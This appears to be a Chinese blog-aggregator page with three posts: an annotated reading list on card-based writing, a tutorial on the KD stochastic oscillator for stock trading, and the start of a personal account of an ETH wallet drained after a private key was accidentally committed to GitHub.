多数喜欢将大脑比作电脑，但这样的说法会让人产生误解，误解一是让人觉得只要增加一些硬盘空间，就会聪明很多，误解二是大脑需要被操作才能接收资讯。 但更恰当的比喻是把大脑比作道路系统，这些道路系统一套包含公路、高速公路、街道、乡村小道。这个比喻提醒你，世上本没有路，你有目标，并且一路往前，就可以走出一条路来。 这个道路系统的比喻还强调了一件事：学习不是为了记住道路，而是能在道路中行走，将道路延伸并连接起来。
暗时间
主要涉及广义心理学领域，谈及大脑运作机制，关注人的天性与大脑的工作原理，这些都是学习任何知识都要用到的元知识。它是底层知识，恒久不变的知识，是所有人都需要掌握且学习的知识。 所以，什么才是健康长久的写作主题？我的暂时答案是：研究人的认知、行为、情绪、深层动力，大脑的工作原理，并应用实践，成为可能自我。
具身认知
为什么模仿大师的行为可以习得大师的思维？为什么环游世界会增加创造力和想象力？为什么写作可以帮助提升阅读能力？因为身体的变化会影响思维和行为的变化。P.S.此书对我最大的作用是纠正了以为大脑是操作系统驱动着四肢五官等硬件的偏见，大脑与身体是一个整体，彼此相互影响 ，想要大脑发挥最大效用，身体最好也是健康的。
直觉泵和其他思考工具
靠直觉，能出佳作。在任何专门知识领域里，都有一张精致的辨识网络，人们才能够从千万种不同事物、不同情境当中，判别出其中任一事物或情境，这种网络是专家的基本工具之一，是其直觉的主要源泉。利用直觉快速写作，首先是确定好两点：1）积存有大量卡片的卡片库；2）写作主题，然后将直觉视作连线，两点一线，尽量简化中间的逻辑推理过程。
深度工作
如何才能掌握深度工作的技能？1)发现深度工作的意义。车轮并不高贵，但是制作车轮则可以高贵，作品的外现可能并不重要，重要的是创造作品的技艺。这些也同样适用于知识工作，你不需要一种稀缺的工作，你需要的是用世间少有的方式完成工作。2)选择你的深度哲学。双峰哲学的优点是可形成高强度深度思考，在大时间周期内完成深度工作规划，节奏哲学更符合人类的真实天性。3)创造深度工作的环境。专业知识工作者并不会指望灵感降临之后再开始认真工作，他们善于搭建良好的环境来帮助进入深度工作。4)重新编排大脑。如果想凭借深度工作成功，你就必须重新编排自己的大脑，使它可以从容地抵挡可分散注意力的刺激。
金字塔原理
《金字塔原理》鼓励简洁和精炼的表达方式。将主要观点和关键信息写在卡片上，使其简洁明了。使用简洁的文字、关键词和短语来概括和传达思想。每个主要观点或想法可以成为一个卡片，然后通过卡片之间的逻辑关系进行连接，形成一个清晰而有条理的金字塔结构。
建筑模式语言
建筑模式是可以被重复使用的设计解决方案，而卡片组块则是可以被重复利用的信息单元。建筑模式通过描述已经成功应用于不同建筑项目的设计解决方案，提供了一种可复用的设计思路。卡片组块可以包含独立的知识或信息片段，可以在不同的项目或场景中被反复引用和组合。
零秒思考
那些可以快速分析，零秒思考，迅速决断，马上行动的人是如何做到？不是天才，而是靠积累，只有平时累积整理出大量想法，需要用的时候才能及时爆发出来，此书生动详细描述了作者应用十年的经验——用 A4 纸来分析思考的技术，有效实用。 更重要的是，此书的笔记方法完全可以迁移到卡片创作，从技术实践来讲，此书比《智识的生产技术》还要好。
复杂
复杂性科学涉及非线性和混沌的概念。在卡片创作中，你会面临大量的信息和想法，有时可能感到混乱和无序。在这种情况下，可运用复杂性科学的思想，接受非线性和混沌的特性，并寻找其中的模式和结构。通过整理、归类和连接卡片，逐渐建立起一种有序和可理解的知识体系。
巴拉巴西网络科学
此书通过网络的视角来研究和理解复杂系统的行为。在卡片创作中，你可以借鉴网络科学的思想，将卡片视为一个个节点，它们之间通过连接和关联形成一个知识网络。这样的视角可以帮助你更好地理解和分析卡片之间的关系，发现隐藏的模式和结构。
心流
此书强调专注力和深度体验的重要性。卡片创作熟练之后，极其容易进入心流，明白其中原理，就会主动去设计符合心流的需求，利用心流的体验来评估自己的创作成果，并不断优化和提升。通过回顾和反思自己的卡片内容和创作过程，发现强项和改进的空间，以不断提升自己的卡片创作技能。
经验的疆界
此书提倡对经验进行反思和学习，意识到经验中存在的不确定性和多样性。你可以利用卡片来记录和整理自己的经验，包括成功和失败的经验。通过对这些经验的反思和学习，提高自己的决策能力和行动效果，从而不断成长和进步。
思考，快与慢
我们常常犯错，这往往快速直觉的思考模式主观偏见的影响。持续卡片记录自己的思考过程，将重要的决策和判断标记下来，包括采用的启发式、权衡的因素和最终的决策结果，这有助于意识到自己可能存在的认知偏差，并更加谨慎和理性地进行决策。
文心
这本书是叶圣陶和夏丐尊的合着，它的最大特色在于不是一本文学理论，没有枯燥的理论说明，没有清单式的写作技巧，它是一本写作故事书，几乎都是情景教学，生活活泼，寓教于乐。读完我常想：如果我在初中就遇见了这本书，如果我在初中就遇上了书中的那样语文老师，估计就不会一路在应试教育中丢失了写作的兴趣。
文章自在
难得的一本不教你功利写作的书籍，前有写作之法，后有例文解析。文章自在，是教你写心气，而不是作文，自在地写文章，文章才能自在，这个教法，用认知科学解释就是发动内在驱动，利用自主心智去写作。此书可与《诗的八堂课》一起读，前者赏好文，后者识好诗。
翻译乃大道
中文写作高手大都同意这个观点：从英文世界写作方法，从中文经典体会写作精妙。书名有翻译，但书中的大部分是在谈好中文是什么样子，应该是简洁优美凝练的，最推荐阅读《中文的常态与变态》。
3.卡片实践：流程与创作
六经注我，知行合一。这个层级书单着重于卡片创作的实践和流程，其中包括写作技巧、创意思维、信息组织、生成创意、写作流程的技能，这些书籍将引导你探索创作过程中的挑战和解决方案，激发创造力，并帮助你成为更出色的卡片创作者。
风格的要素
卡片创作原则之一：词语优于句子。这条原则尤其注重简洁、清晰和准确的表达。这本书将指导将复杂的概念、观点和知识压缩到简明扼要的卡片中，避免啰嗦和冗长的句子，合理安排和组织卡片的顺序和关联，确保每个卡片都有清晰的主题和中心思想，能够有效地传递信息。
写作法宝
卡片与线性创作在《写作法宝》这本书也有提及： 学会如何组织一篇长文就像学会如何写出一个清晰、悦人的句子一样重要。你必须时刻记住写作是线性的和连续的，逻辑是将其合在一起的黏合剂，从一句到另一句、一段到另一段、一节到另一节必须保持张力，而且叙事性—精湛的、老套的讲故事方式—是牵引读者前行但不被他们发现这一条绳索的要素，如若不然，你所有的清晰、悦人的句子都会七零八落。读者唯一应该注意的是你为自己的旅程制定了一个合理的计划，其中的每一步都是必然的。
我怎样读书
王云五平时读书所得要点，辄就其原有标题或自拟标题一分记于小卡片上，附注书名与其所见页数。这些卡片各按标题的顺序排列，如此则许多书籍中同样标题的资料，都借卡片的作用而连串起来。以后随时有需参考，只须一检卡片，则凡经涉猎过的资料毫无遗漏。日积月累，这卡片多至数万张，无异构成一种最完备而切于实用的百科全书……http://www.cnfeat.com/blog/2017/08/08/WangYunWuCardWrite/
写作这回事
一流写作者 Stephen King 如此诚恳地分享了他的写作经验，不仅谈论了写作技巧和工具，还涵盖了写作过程中的方方面面，相当全面而实用。他会告诉你阅读对写作的重要性，一个作家该写多少字才算开始入门，写作地点如何选择，书桌要什么材质，怎么样摆放；谈细节描述的适度和有效，谈如何写好对话，怎样做好研究工作，怎么交代背景故事，怎样通过象征提高故事的魅力……
关于写作
看完这本书，你会发现写作并没有多少的秘诀，写作对写作者而言就是日常，不必害怕艰辛，就像你要做一本大型的鸟类研究报告，你只能一只鸟接着一只鸟做下去，这就是笨方法学写作。P.S. 此书有具体提到索引卡写作方法，建议阅读。
我为什么要写作
乔治·奥威尔说他写作的目的之一就是希望把世界推往一定的方向，改变别人对他们要努力争取的到底是哪一种社会的想法。这与E.B.怀特的想法一致，他说：作家的角色从来没有改变，他是一个监护人，一个秘书。科学和技术也许加重了他的责任，但是并没有改变他的责任。
写作这门手艺
写当人们说「你不可能教人写作」。我总觉得，不是这样的，他们不理解什么是教学。我可以举个例子，我年轻时曾经教过青少年游泳，班上所有孩子其实都已经会游泳了，但我当时作为一个游泳老师，是想让他们游得更好，游得更高效，既节省力气又提高速度。道理同样适用于教授写作。真正能教会你写作的，是写作本身。如果你有志于此，就动笔去写，并完成它。写作课必须非常自主，你必须去写作，然后在课堂上继续学习，这才是最基本的写作学习。
麦肯锡教我的写作武器
说是武器，就必然不是心法。此书核心是逻辑写作，逻辑写作强调逻辑思维和结构化表达的重要性，而写作清单则是一种工具，帮助作者组织和规划写作过程，你可视作为范例，指导你构建属于你自己的写作清单。
快书写，慢思考
目前阐述卡片写作核心——快写慢改写作方法，比较全面系统的一本书，书中的大量自由书写实践应用方法，均可以用应用在卡片写作中去，唯一不足是由于篇幅或作者科学经历所限，并没有结合认知科学原理分析，如果读者可以知其然知所以然，更可实践出「快书写，慢思考」的行动精华。
如何高效写作
日本人写的任何书籍都会写得叨叨絮絮，但优点就是详细翔实，恨不得将自己实践操作的每个步骤都写下来，然后就可以艰难地将一篇精简长文足以表达完整的内容用一本书撑起来，这本《如何高效写作》也是如此，此书的最大特色是作者是程序设计师，当中运用了很多程序与设计的方法来指导写作，从系统到步骤，将以往不可操作的写作方法变成清晰可行理科写作行动清单，与笨方法学写作的思考一致。
有说服力的写作:驾驭文字的艺术
如何将卡片创作技巧应用到商业写作？这本薄薄的小册子，包括有商业写作的基本原则、技巧和范例。精华在于简洁写作7步法，包括列出要点、运用故事元素、扩展内容、审视句子的表达、通篇阅读和编辑、最后进行复查和校对。这些写作技巧培养出高效、简洁而又有影响力的商业写作技能。
思考线：让你的创意变为现实的最佳方法
乔布斯：创造力就是找到事物之间的关系。要写出有创造力的问题，必须找出卡片与卡片的关系，这种关系，我称之卡片线。卡片线会让你突破时空限制，连接起那些有关系的卡片，完成思维的创造。最伟大的创造能够突破历史、技术、文化、行为需求以及情绪，它以一种种偶然联系的姿态呈现，但事实，这种联系是可以被发现的。卡片线可以把你写在卡片上的知识、记忆和洞见编织起来，形成一幅壮美的图景。
如何有效整理信息
这本书最启发的是。1）一元化即万卡归一，建立统一的卡片库，更好地组织和管理卡片，使其易于查找和回顾。2）作者的笔记使用习惯可迁移到卡片写作的习惯中；3）卡片不断记录增补，是向自己的思想致敬，见证自己的成长。
给大忙人的高效阅读课
在卡片创作中，有效的阅读是非常重要的。阅读是获取知识和信息的主要途径，而卡片创作则是将所阅读的内容进行整理、归纳和总结的过程。因此，掌握高效的阅读技巧可以为卡片创作提供有力的支持。80%的时间用来读你最爱读的书，留出20%的时间来读那些能推动你的知识系统更新迭代的书。
精简写作
精简写作可以运用到卡片写作中去，例如说一张卡片有且只有一个重点，每个片段都应包含一个「闪光点」来吸引读者。要用就用最有力的引证，狠下心来删掉那些你偏爱但是对重点没有帮助的文学。删去那些抽象、复杂、费解的词语，使用那些简单、平实、具体的词语，尽可能让读者在读完你的卡片之后，在脑海中印下一幅画面。
秒赞
在文案写作中，最重要的是能够吸引读者的注意力并有效传达信息。你写的每一张卡片都是写给未来自己的，所以你写在卡片上的信息需要足够凝练简洁，同时引起未来自己的共鸣。这本书是在教写文案，实际上可用于练习写出简洁的卡片。
赖声川的创意学
创意实在复杂，复杂大多创意人多关注结果，而不注重过程，若要分析机理，难免意识流与神秘化，也只能是谈经验、谈艺术、谈宗教、谈观念，所以即使他们能做出创意的模型，仍然是模糊与梗概，但这样总比没有好，自己习惯用科学思维看待就好。 所以说，创意学不可学，只能像是王云五的「为学当如群山式，一峰突起众峰环」那样，先有主攻的高峰，然后在多学科知识的环绕辅助下，才能做出自己的创意来。
创意写作大师课
此书是卡片拼接的典型，将各个写作大师谈写作的素材归类整理合成一本，作者并没有强推一种写作方法，只是陈列出各个写作大师的方法，毕竟实践还是得自己来。
电影编剧创作指南（修订版）
阅读完《电影编剧与创作指南》这本书，再次印证卡片适合大多数的线性创作。什么是线性创作，读者需要按线性顺序欣赏的作品就是线性创作，例如文章，你需要作者的编排一行一行地读，例如电影，你需要按照导语导演剪辑的胶片一帧一帧地看，例如音乐，你需要一个音符一个音符地听。 《笨方法学写作》不会仅仅谈写作，练完这本书，你可能变成一个小导演——真不开玩笑，第 50 个练习就是拍一个视频作业。
设计冲刺
写作产品的难点在于将写作产品化，制作出 MVP，写作冲刺将逼迫你将注意力专注在写作产品，在 5 天快速掌握写作产品化的技巧，创建出你的第一个写作产品。写作冲刺重点在于冲刺，无论你是否已有写作产品的意识，你都可以尝试在有限时间发起一次努力。短短时间虽不能打磨出完整产品，但让你取得实质进展。
4.卡片驱动：行为与改变
天下事无所为而成者极少，有所贪有所利而成者居其半，有所激有所逼而成者居其半。这个层级书单关注的是人的行为和习惯改变，包括了与行为心理学、动机和个人成长改变等相关书籍，这些书籍深入研究了内在动机、身份认同、习惯形成和行为模式，并提供了实用的方法和策略来让你的改变更健康更长久。
终身成长
初中高中写不好作文没有关系，大学写不好论文也没有关系，出来工作也写不好工作报告也没有关系，一切都有机会变好。你的写作能力从来不是一成不变的。这本书从科学角度告诉你，勤奋比聪明更重要，努力比天赋更重要。
成功，动机与目标
如果硬要读一本成功学书籍，那就读这一本就够了。你想要做成一件事，根本不需要复杂的计划，不需要先进的工具，最简单的方法与工具其实就能实现。你要向学龄前儿童学习：他们不在乎是否有钱有名，只在乎是否得到养育（关联感），在乎学习，学爬学走（胜任力），在乎能做自己想做的事（自主权）。
内在动机
于我而言，写作是人的创造性适应过程，而不是追逐名利的工具，写作应是主动的，符合内心抉择的行动，它的真正意义并不在外在功利，而在于从内部改造自己的生活方式，是「身心之学」，核心是自我修养。
福格行为模型
福格的牛逼在于成立了行为设计学，即可以通过科学的设置来推动人的行为改变。你过往的持续写作的失败，并不在于你自身，而在于你为做出改变所采取的方法。这是一个设计问题，而不是个人缺点问题。
身份的焦虑
高生产力的人，乐于塑造和转换身份，而不囿于现有身份，他们积极找到自己想成为的那种人，以这种身份自驱，并想方设法靠近他们，与他们同事，学习并改变工作内容，为身份转换做各种尝试。他们总在问，在下一个身份中，我能做些不同的事情？而他们最好的答案，就是正在朝着某个方向而努力，而不是满足于当下的成功。
习惯心理学
行为必须不间断地重复才能变成习惯，但实在中断了也没关系，没有必要因为偶尔中断一次就泄气甚至放弃，只要补救行动足够快，习惯依然能够延续。记住，承认中断但并不放弃也是一种修行。
掌控习惯
数学家和哲学家阿尔弗雷德·诺斯·怀特海（Alfred North Whitehead）曾写道：“我们不断扩展不假思索即可完成的动作数量，从而推动着文明的进步。” 个人生产力的发展，也是由无数细微的，别人不可能全部模仿过来的小行动组成的。
助推
写作对我不是「坚持」，因为做喜欢的事情，是不需要坚持的。你需要做的 ，就是将喜欢变成日常，将日常变成习惯，将习惯变成自然。坚持二字，多多少少透露着抗争，抗争需要消耗力气。要让自己花更多的力气在写作，便要就要少花力气去抗争。
清单革命
清单这个认知检查工具，能够让压制大脑爱偷懒的毛病，迫使大脑重新审视，将复杂的认知转化简单实用的行为，塑造良好的写作习惯。 精心设计的清单会帮助你节省有限的脑力，不让你的头脑被繁杂的检查项目占据，而是让你解放出来处理更加困难的问题。
纳瓦尔宝典
幸福最大的谬误是认为幸福就是快乐。你看过无时无刻都在笑的人吗？那是小丑。《纳瓦尔宝典》以《不靠运气致富》40条原则爆红。你以为他的爆红是运气，但书中说明，这些原则是他在十三四岁时已经开始积累的，看似是运气，实则是实践的积累， 厚积薄发的呈现。
创造时间
脑中浮现时间管理达人，脑中总会出现几个典型形象：不费吹灰之力便井然有序的高阶主管；摆脱蒙昧、深刻感受身心灵的瑜珈大师；按部就班聚沙成塔的作家……为什么高生产力不能出现在普通人身上。书中提出一个与众不同的观点的，高生产力不是在指定时间内做更多的事情，而是为你想做的事情付出更多更高质量的时间。
心智探奇
世界顶尖语言学家和认知心理学家写了一本关于认知科学的科普书。无论你从事什么职业，懂些认知科学，将助你在这个领域实现降维打击。这本书很难读的，但值得读，甚至读上好几遍。
认知心理学
正儿八经地阅读一本反复再版的好教材，比你在网络阅读各种大路文章好得多。静下心，沉住气去了解人类的认知过程、思维、学习、记忆、语言和问题解决等方面的内容，你将更好地理解读者的认知过程和思维方式，提升自己的表达能力和内容创作水平。
简捷启发式
为什么你有时写作会拖延，甚至行动瘫痪无处下手？你总想去学更多知道更多搜集更多资料才去写，但事实是你要先写下第一张卡片，才有可能能写下更多，写作嘛，本来就是一张一张卡片堆砌起来的。
有限理性
如何练习快速写作的直觉？一旦定下主题，便可审题构思，将构思文章想象成快速穿越迷宫的过程，快速搜集相关线索证据，在不同的路口穿行，使用极简单的文字和符号将在卡片标示出来，标示的符号越简单越好，文字越少越好，随后组合卡片，务求尽快勾勒出文章大纲。
心智的构建
关于心智与脑科学，太多人有误解，这一本书相对轻松活泼地介绍心智构建的理论和实证研究。你知道人怎样思考，便可以运用这些理论来思考读者的期望、知识背景和情感需求，以便更好地沟通和连接。
跨越不可能
世上无难事，只怕笨方法。没有不可能，只有不去做。别的书都讲鸡汤，这本书讲的是实打实的方法。作者从神经科学的角度进行研究分析，并结合自身经历，以及各行各业高手们的经验，得出了一套帮助个人实现跨越式成长的公式，即跨越不可能=动机×学习力×创造力×心流。
有序
如果将大脑比作为自己的工作的工人，如何才能压榨得出最高效率？最高的效率就是不需要再做重复工作，去除浪费。「浪费」指任何消耗资源但却无法创造价值的活动。这种浪费是被打扰后重新进入状态所花时间的浪费。是被其他同时拉去救火返工等可预防失误的浪费等。
瞬变
任何能驱动你去变得越来越好的动作都是好动作，包括内在与外在。想要持续写作，可以日课一卡给予适当激励，可以设置优化写作环境，也可以同步在写作中挖掘写作的意义。
改变
改变之所以很难，是因为我们的观念和信念会影响我们对问题的看法，因此改变思维方式和观念对于解决问题至关重要。那么如何改变观念，此书提供一个改变的系统论观点，即不能单靠某个独立事件去改变，而是要考虑环境、观念、行动的综合作用。
5.卡片产品：人生与世界
倚天照海花无数，流水高山心自知。这个层级书单涵盖了人生与世界的各个领域，从政治、军事到创业、产品和文化等方面，帮助你解不同的思维模式和行为原则，以及如何应用它们来塑造个人生活和影响他人，探讨卡片创作如何应用于个人的成长和对世界的理解，以便更好地应对人生和世界的挑战。
毛泽东选集12345
多数人抛出写作天赋论、写作速成论，前者产生妥协倾向，后者产生轻敌倾向，这是写作思想与行动上的近视眼，这是他们没有深刻理解写作的长期性、复杂性、艰巨性。不要试图幻想仅通过看书上课学会写作，要坚定地通过写作来学习写作，不要试图在一年内学会写作，至少要抱着十年甚至终生的觉悟去练习写作。
华杉讲透《孙子兵法》（修订版）
如果说黑客是对代码编程，写作是对文字编程，那么兵法就是对思维编程。胜利不可定性定量，失败却可以，《孙子兵法》以失败为假设，定性定量分析，以此编程，发现人类存在思考偏差，凭此获胜。
人类简史123
如果你对人类文明的变迁有宏观视野，了解过理解千万年人类的智慧、成就和挑战，那么再去开始构建你的个人文明，包括知识学习、价值创造等，你会更得心应手。
巴拉巴西成功定律
你可能会以为这又是一本成功学鸡汤书，但这可是正儿八经网络科学家写作的成功数据分析。作者研究人类社交网络、科学研究、商业市场等领域中的成功模式，提供一种科学的视角和方法来理解成功的本质。既然成功都可以分析，那么卡片创作的成功也必定可以。
思维的乐趣
不读王小波，人生就少了另一种乐趣。你接受的世俗是A面，但你也完全可以用B面去看看人际关系、爱情、社会观察、文化反思等。这种独特的写作风格和观点可以启发我们在卡片创作和写作中更加灵活和独到的思考。
创业思维
并非鼓励你去成立公司，而是要养成经营者思维。经营，就是以主人家心态看待所有事情，从全流程的视角来看待所有事情，而不能只负责自己的分工，同时懂得精力分配，在战略上勤奋，专注最值得专注的事情，把握最关键的部分，解决最关键的部分，将其余环节分工出去，这样，你才能有时间与精力去尝试做新的事情，不奔忙而富有成效，学习如何与更多人朝着共同的目标快速高效前行。
经营者养成笔记
以经营者思考，作为经营者，一定要做出承诺，做出的承诺，就一定要兑现。这就是经营者的责任，没有任何借口。只有兑现承诺，取得成果，赢得顾客、社会、股东以及员工的信任，公司才能生存和发展。
原则
每个人在践行过程都会有自己的原则，有人可能称之为经验、道理、方法论——你把事情做好，把自认为做对事情的规律总结并分享出来，跟着做的人都能做好，那就成了你的原则。瑞·达利欧将做好桥水基金的方法总结为《原则》，涵盖生活、工作、管理等方面，林林总总，你总以为成功有秘密，读完你可能发现成功道理大致相似，其中不少你也听过，觉得不过如此——但说到，并且做到，这才是成就瑞·达利欧的秘密，这才叫原则。
奈飞文化手册
此书提出的反常识公司文化值得学习，例如 1）坚持只招聘成年人；2）坚持相信成年人最渴望的奖励，不是金钱，而是成功；3）不制订年度计划，用更多时间来做季度计划；4）如果有客服部门，第一步就是教客服人员阅读公司的损益表；5）公开批评，面对面沟通是解决问题的最有效方法；6）鼓励员工对外投送简历来确认自己的能力与薪酬。 如果你对以上任意一条表示惊讶或赞同，不妨看这本书，它将是带领你参观、学习、塑造未来组织形态的第一步。
产品故事地图
任何产品是都可用故事地图呈现，一个好产品必定能讲出一个好故事，想做好产品，先从讲好故事开始，借助卡片写作，能讲好故事，也能做好产品。这本书给出了一个完善可用的产品故事模型，借助此模型，产品经理可以快速高效搭建出产品故事。
用户思维+：好产品让用户为自己尖叫
笨方法不是提倡学习实践都要慢，而是提倡快学慢用——不期待你在初级技能或中级技能上停留过长时间，即教给你快速入门的技巧和诀窍，这当然不是教你走捷径，而是帮助你绕过不必要的长路，尽快进入正确的练习，即使你没有理解这些技巧和诀窍的原理。先快速入门节省大量时间，然后才有可能将大量的时间放在实践中。
斯坦福大学人生设计课
人生就像设计产品，需要明确的目标、创造力和灵活性。它鼓励你采用“设计思维”的方法来审视和规划自己的人生，通过尝试、反思和调整来不断迭代和改进人生的方向和决策。你看，这个过程多么像用卡片来写文章。
穷查理宝典
《穷查理宝典》中，芒格屡屡提到了一个影响他生活、学习和决策的思维方法，这个思维方法建立在他称作为「多元思维模型」基础之上，他提倡要不断学习众多学科的知识来形成一个思维模型的复式框架。他说：「长久以来，我坚信存在某个系统——几乎所有聪明人都能掌握的系统，它比绝大多数人用的系统管用。你需要的是在你的头脑里形成一种思维模型的复式框架。有了那个系统之后，你就能逐渐提高对事物的认识。」
系统之美
你可以想象一个生产力系统就是一个生物体，通过你自己的价值观与认知，通过不断操作实践，形成你的系统形态。盖尔定律（Gall’s Law）：复杂系统总是源于简单系统的演化。一个运转正常的复杂系统，总是从一个运转正常的简单系统演化而来。反之也是一样的：一个从零开始设计的复杂系统永远不会起作用，也不可能让它起作用。你必须重新开始，从一个简单的系统开始。
精益创业
想法变化为产品的最短路径是什么？你一定要生产你想要的产品吗？你一定要花自己钱去做产品吗？你一定要开店才能卖产品吗？未必。这本书提供一个最重要的概念：最小可行产品（MVP），应用到卡片创作，就是快写慢改，先完成再完美。
营销管理
我总劝人去读些大砖头，大砖头虽然厚，但经常读总有新启发。我们遇见的问题都是老问题，前人早已有最佳实践与最优理论，有耐心，慢慢读，迟早超越很多人。
超级符号就是超级创意
符号是人们理解和交流的基础。华与华兄弟以符号学为基础，解释了人们对符号的感知和认知过程，以及符号对人们行为和决策的影响，同时将这理论应用到商业实践中去。
诗的八堂课
读《诗的八堂课》的情景不难忘，地铁中、餐馆中、公园中、宿舍中……难忘的是我重读这本书的八个夜晚，一天重读一堂课，一天写下一节笔记，房间中、台灯下、纸笔旁、电脑前……开启诗歌的曼妙之旅。诗之八夜，时时怀念。
资治通鉴
细啃《资治通鉴》，一是源自中国古典文体的向往，期待能在长时间经典阅读中训练出一两成简练写作的功力。《资治通鉴》，书成于北宋，为文学家司马光编撰，十九年浓缩千年历史为为帝王之书，遣词造句，务必小心翼翼，严求惟精惟准，实在是学习古典风格与古文写作的典范。
有限与无限的游戏
贝索斯的 Day 1 是战时日常化，是无限有限，而 Endgame 则是无法回头的终局之战，是有限游戏。Endgame 打打杀杀很精彩，Day 1 挖沟筑墙很无聊。你的人生充满无数个 Day 1 与 Endgame ，该怎么做？要时刻将自己置身实验室思维的 Day 1 之中，在创新、迭代甚至失败的持续循环之中，日常即战时。∎
- 博客 Tmr Blog 2023-06-11 20:24:47699
- 博客 forecho 的独立博客 2023-06-11 19:30:00
引言
KD 指标是目前股市上常用的短线入场技术指标之一，它是一个领先的指标，这篇文章主要介绍 KD 指标的原理和使用方法。
什么是 DK 指标
KD 指标 (Stochastic Oscillator) 又叫随机指标，是一种反映价格波动的指标，由 George C.Lane 于 1950 年代提出，是目前股市上常用的技术指标之一，被广泛应用于预测金融市场的中短线行情趋势。
KD 指标，最主要就是用来呈现过去一段时间股价强弱趋势、许多人会运用这些数字，来作为寻找价格转折点的交易讯号依据。
PS: 在 KD 指标的基础上进一步发展出了 KDJ 指标，它比 KD 线多了一条 J 线。但是 DK 才是最基础的指标，所以我们先来学习 KD 指标。
KD 指标的计算公式
DJ 的计算依据是最高价、最低价和收盘价。它可以从其中反映价格波动的强度，超买和超卖，并在价格上涨或下跌前给出交易信号。
它由两条线构成：
- K 线 (又称为快线)，上图中橙色粗线。
- D 线 (又称为慢线)，上图中蓝色细线。
以下是计算这两个值的公式：
1 2 3 4 5RSV = (今日收盘价 – 最近 n 天的最低价) ÷ (最近 n 天的最高价 – 最近 n 天最低价) × 100 今日 K 值 = 昨日 K 值 × (2/3 ) + 今日 RSV × ( 1/3) 今日 D 值 = 昨日 D 值 × (2/3) + 今日 K 值 × ( 1/3) * RSV 中的 N 天，常见天数有以 9 天、14 天等来比较，依标的属性来调整。- K 值：把今天股价算出的 RSV 和昨天 K 值取加权平均，对当前股价变动的反应会比较快速，
- D 值：把今天 K 值 (已加权平均过) 和昨天 D 值在平均一次，经过两次平滑、今天最新股价对它的影响就比较小，因此对当前股价变动的反应会比较慢。
一般来说
- 当计算出的 KD 数值越高，代表个股的收盘价，会接近最近几天的最高价
- 如果是 KD 数值越低，则代表个股的收盘价，接近最近几天的最低价
KD 指标的应用
黄金交叉/死亡交叉
- 当 K 值从下往上穿越 D 值时，且两条线都是向上的趋势，称为黄金交叉，代表股价即将上涨，是买入信号。
- 当 K 值从上往下穿越 D 值时，且两条线都是向下的趋势，称为死亡交叉，代表股价即将下跌，是卖出信号。
股票在盘整的时候，黄金交叉和死亡交叉的信号不是很准确。
超买/超卖信号
KD 指标 (随机指标) 的区间为 0～100，一般来说：
- 当 KD 值超过 80 时，代表股价已经进入超买区间，股价可能会出现回档
- 当 KD 值低于 20 时，代表股价已经进入超卖区间，股价可能会出现反弹
KD 指最主要的用途是告诉我现在股价在高位还是低位，不是说要等 KD 到了 20 你才能入场，强势股的话 50、60 多如果碰到黄金交叉，也是可以入场的。
以 50 为界，当 KD 值大于 50 时，代表股价处于上升趋势，当 KD 值小于 50 时，代表股价处于下降趋势。
KD 钝化
- KD 高档钝化：一旦价格持续上涨，KD 会开始在超买区盘整。只要 KD 值中的 K 值，连续三根站在 80 以上，就称做 KD 高档钝化。
- KD 低档钝化：KD 在超卖区盘整但价格一路往下跌。只要 KD 值中的 K 值，连续三根低于 20，就称做 KD 低档钝化。
如果出现 KD 钝化，就表示 KD 信号失效，此时就不要再参考 KD 指标了，去看其他指标，比如均线。
KD 背离
KD 背离是指股价和 KD 指标的走势方向不一致，这种情况下，股价很可能会发生反转。有两种类型的背离：顶背离和底背离。
- 顶背离：当价格创新高，但 KD 指标未能创新高时，我们称之为顶背离。这是一个可能的顶部转折信号，表明上涨动力可能在减弱，市场可能将开始下跌。
- 底背离：当价格创新低，但 KD 指标未能创新低时，我们称之为底背离。这是一个可能的底部转折信号，表明下跌动力可能在减弱，市场可能将开始上涨。
然而，要注意的是，背离只是一个可能的转折信号，并不保证市场一定会转向。因此，投资者在使用背离进行决策时，需要结合其他因素（如市场新闻、其他技术指标等）进行考虑。
提高胜率应用
- KD 指标选股操作要配合技术分析结合趋势多空、价位高低、均线、成交量成功率才高
- KD 指标反应短线转折，搭配 MACD 指标更胜一篙
- KD 指标进场时可做参考，高位指标会钝化因此止盈卖出以个人原则卖出，比如跌破 MA10 均线
- 考虑操作的时程不同，一样要看短、中、长期的 KD 指标趋势
- KD 底背离，第二波跌破五均线，成交量是昨天的 2 倍及以上，可以考虑买入，胜率高
总结
- KD 指标 (Stochastic Oscillator) 能呈现股价在一段时间内，高低区间的波动范围。
- KD 指标的数字介于 0~100 之间。
- 一般来说，K 值高于 80 代表目前股价强势，低于 20 代表弱势。这时容易转折。
- 如果股价趋势一直很一致，一直涨或一直跌，KD 指标会有钝化状况，KD 指标就失效了。
- 出现 KD 背离，股价很可能会发生反转。
最后提醒大家，技术指标是用来帮助我们描述过去和预测未来的，但是并不能保证一定准确，所以在使用的时候，一定要结合其他的指标和自己的判断，才能更好的使用。
- 博客 forecho 的独立博客 2023-06-11 15:30:00
引言
最近 ETH 跌了，昨天晚上睡觉前看了一下自己的 ETH 钱包，结果看到一个转账通知，钱包内的 0.76 个 ETH 全部被转走了，转走的时间是前天晚上。
这篇文章主要是记录一下自己的经历，以及如何避免自己的钱包被盗。
事件经过
周五在学智能合约，写了一篇《使用 HardHat 创建 NFT 智能合约》的文章，然后按照教程把代码上传到 GitHub 了，并且开源了。没有特意的去检查代码的环境变量。
然后周六晚上发现自己的钱包的 ETH 被盗了，第一时间以为是自己授权钱包给了不安全的网站，导致被盗了，但是仔细检查了一下，发现 MetaMask 的交易记录并没有被盗的那条记录。
然后我去看 Github 代码，被盗的时间在代码最后一次提交的时间前，然后再一看代码，发现自己傻逼了，把自己的私钥放到了代码里面，然后提交到了 Github 上面。
仓库里面有一个
.env.example文件，hardhat 初始化的时候生成 .gitignore 文件，里面有.env，这一步是没问题的，但是我在创建.env.example的时候，使用的是cp .env .env.example，这样就把私钥也复制到了.env.example文件里面，也没去删除里面的私钥，也没确认，就提交到了 Github 上面。那个时候赶着下班，提交代码就走了。
如何避免
认识到钱包私钥的重要性
显然我之前对钱包私钥的重要性认识不够，导致了这次的损失。Web3 钱包的私钥（Private Key）非常重要。在区块链技术中，私钥就像是你的密码，具有以下重要性：
- 访问权限：私钥是你访问和操作你的 Web3（例如以太坊）钱包中资产的唯一方式。有了它，你就可以发送交易，购买、出售或交换代币。
